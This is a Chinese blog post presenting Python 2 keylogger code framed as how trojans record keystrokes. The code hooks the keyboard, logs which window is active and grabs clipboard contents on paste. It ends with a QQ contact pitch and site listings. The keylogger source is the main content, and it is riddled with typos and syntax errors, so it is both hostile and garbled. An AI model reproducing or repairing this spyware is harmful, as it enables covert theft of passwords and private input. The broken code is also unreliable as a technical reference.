想知道木马程序的键盘记录原理吗?python告诉你 !
前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()
learning = input("Do you want to learn \python now(Yes or no)")
a = str(learning)
if a =='Yes' :
print('QQ :1346525417 ')
eles:
print('Tthanks')
学习从来不是一个人的事,欢迎大家留言评论,共同学习,私信加我, 即可领取全套资料

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
怎么规划一个零基础学习Unity3D的“方法”或者“流程”?
学习分为4个阶段 一、朦胧期这个阶段你主要是在朦胧中度过,通常脑子里想的就是,卧槽,这特么是啥?卧槽,这特么又是啥?你看着命令行里面的HelloWorld静静的发呆,第一次能完全打出来的时候脸上会露出 “四国以 ”的表情。这个阶段你需要做的就是和命令行和编译死磕,不断的做练习,将你在视频上看到的那些小例子统统用代码实现 二、学步期有了C#的基础能在后面的引擎学习中有什么用处呢?答:用处不大。那为什么还要那么注重C#基础语言呢,因为语言是贯穿整个引擎一生的必要之物,但是在引擎学习中,主要学习的是引擎中组件和相关功能的用法,和处理问题的思维。比如说,更改一张Image的Color,你要做的首先是要获取到Image,然后通过更改其color属性为自己想要的颜色。说起来很简单但是刚开始进行操作的时候,连怎么获取都是通过在Inspector面板里直接拖取进行获得,此时多学习一些相关的API就完全有必要了。另外,通过几个简单的Demo也能够让自己对这个引擎的运作更感兴趣(或者摧毁掉这份兴趣),建立起后面的学习信心。 三、开化期经过简单的几个小Demo,你已经能够正常的GetComponent或者调...
-
下一篇
Gitter - 高颜值GitHub小程序客户端诞生记
0. 前言 嗯,可能一进来大部分人都会觉得,为什么还会有人重复造轮子,GitHub第三方客户端都已经烂大街啦。确实,一开始我自己也是这么觉得的,也问过自己是否真的有意义再去做这样一个项目。思考再三,以下原因也决定了我愿意去做一个让自己满意的GitHub第三方客户端。 对于时常关注GitHub Trending列表的笔者来说,迫切需要一个更简单的方式随时随地去跟随GitHub最新的技术潮流; 已有的一些GitHub小程序客户端颜值与功能并不能满足笔者的要求; 听说iOS开发没人要了,掌握一门新的开发技能,又何尝不可? 其实也没那么多原因,既然想做,那就去做,开心最重要。 1. Gitter GitHub:https://github.com/huangjianke/Gitter,可能是目前颜值最高的GitHub小程序客户端,欢迎star 数据来源:GitHub API v3 目前实现的功能有: 实时查看Trending 显示用户列表 仓库和用户的搜索 仓库:详情展示、README.md展示、Star/Unstar、Fork、Contributors展示、查看仓库文件内容 开发者:Foll...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Docker安装Oracle12C,快速搭建Oracle学习环境
- CentOS7,CentOS8安装Elasticsearch6.8.6
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- CentOS8编译安装MySQL8.0.19
- MySQL数据库在高并发下的优化方案
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- MySQL8.0.19开启GTID主从同步CentOS8
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS7,8上快速安装Gitea,搭建Git服务器